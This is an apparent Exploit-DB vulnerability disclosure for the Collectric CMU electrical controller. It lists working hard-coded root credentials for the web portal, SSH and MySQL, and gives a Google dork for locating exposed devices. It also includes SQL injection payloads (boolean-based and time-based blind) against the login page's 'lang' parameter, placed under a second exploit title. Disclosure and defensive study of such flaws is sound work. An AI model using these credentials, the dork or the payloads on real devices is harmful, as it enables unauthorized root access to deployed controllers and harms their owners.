Collectric CMU - Hard-coded SSH/MySQL/Web credentials

vendor:

Collectric CMU

by:

Simon Brannstrom

CVSS

HIGH

Hard-coded credentials

798

CWE

Product Name: Collectric CMU

Affected Version From: All known versions

Affected Version To: All known versions

Patch Exists: YES

Related CWE: N/A

CPE: a:ourenergy:collectric_cmu

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Linux

2018

Collectric CMU – Hard-coded SSH/MySQL/Web credentials

Collectric CMU is a Swedish made controller device for electrical devices such as car heaters, camping sites etc, powered by a NGW board running Linux 2.6.30 with a PHP admin interface. Web Portal hard-coded credentials: username: sysadmin, password: zoogin. SSH user/root credentials: username: kplc, password: kplc, username: root, password: zoogin. The SSH server is running Dropbear sshd 0.52 (protocol 2.0) which requires diffie-hellman-group1-sha1. MySQL root credentials: username: root, password: sql4u.

Mitigation:

Ensure that hard-coded credentials are not used in the application.

Source

Exploit-DB raw data:

# Exploit Title: Collectric CMU 1.0 - 'lang' SQL injection
# Google Dork: "Inloggning Collectric CMU"
# Discoverer: Simon Brannstrom
# Date: 2018-09-15
# Vendor Homepage: http://ourenergy.se/
# Software Link: n/a
# Version: All known versions
# Tested on: Linux
# CVE: N/A
# About: Collectric CMU is a Swedish made controller device for electrical devices such as car heaters, 
# camping sites etc, powered by a NGW board running Linux 2.6.30 with a PHP admin interface. 
# More vulnerabilities exists, see my other vulnerability reports.

# Parameter: lang (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause

Payload: username=yUqg&lang=SWEDISH' AND 1320=1320 AND 'EXAr'='EXAr&password=zhdY&setcookie=setcookie&submit=Logga in

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind

Payload: username=yUqg&lang=SWEDISH' AND SLEEP(5) AND 'kglV'='kglV&password=zhdY&setcookie=setcookie&submit=Logga in


# Exploit Title: Collectric CMU - Hard-coded SSH/MySQL/Web credentials.
# Discoverer: Simon Brannstrom
# Date: 09/15/2018
# Vendor Homepage: http://ourenergy.se/
# Software Link: n/a
# Version: All known versions
# Tested on: Linux
# About: Collectric CMU is a Swedish made controller device for electrical devices such as car heaters, camping sites etc, powered by a NGW board running Linux 2.6.30 with a PHP admin interface.
More vulnerabilities exists, see my other vulnerability reports.

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Web Portal hard-coded credentials:
username: sysadmin
password: zoogin

SSH user/root credentials:
username: kplc
password: kplc

username: root
password: zoogin

*The SSH server is running Dropbear sshd 0.52 (protocol 2.0) which requires diffie-hellman-group1-sha1.

MySQL root credentials:
username: root
password: sql4u
---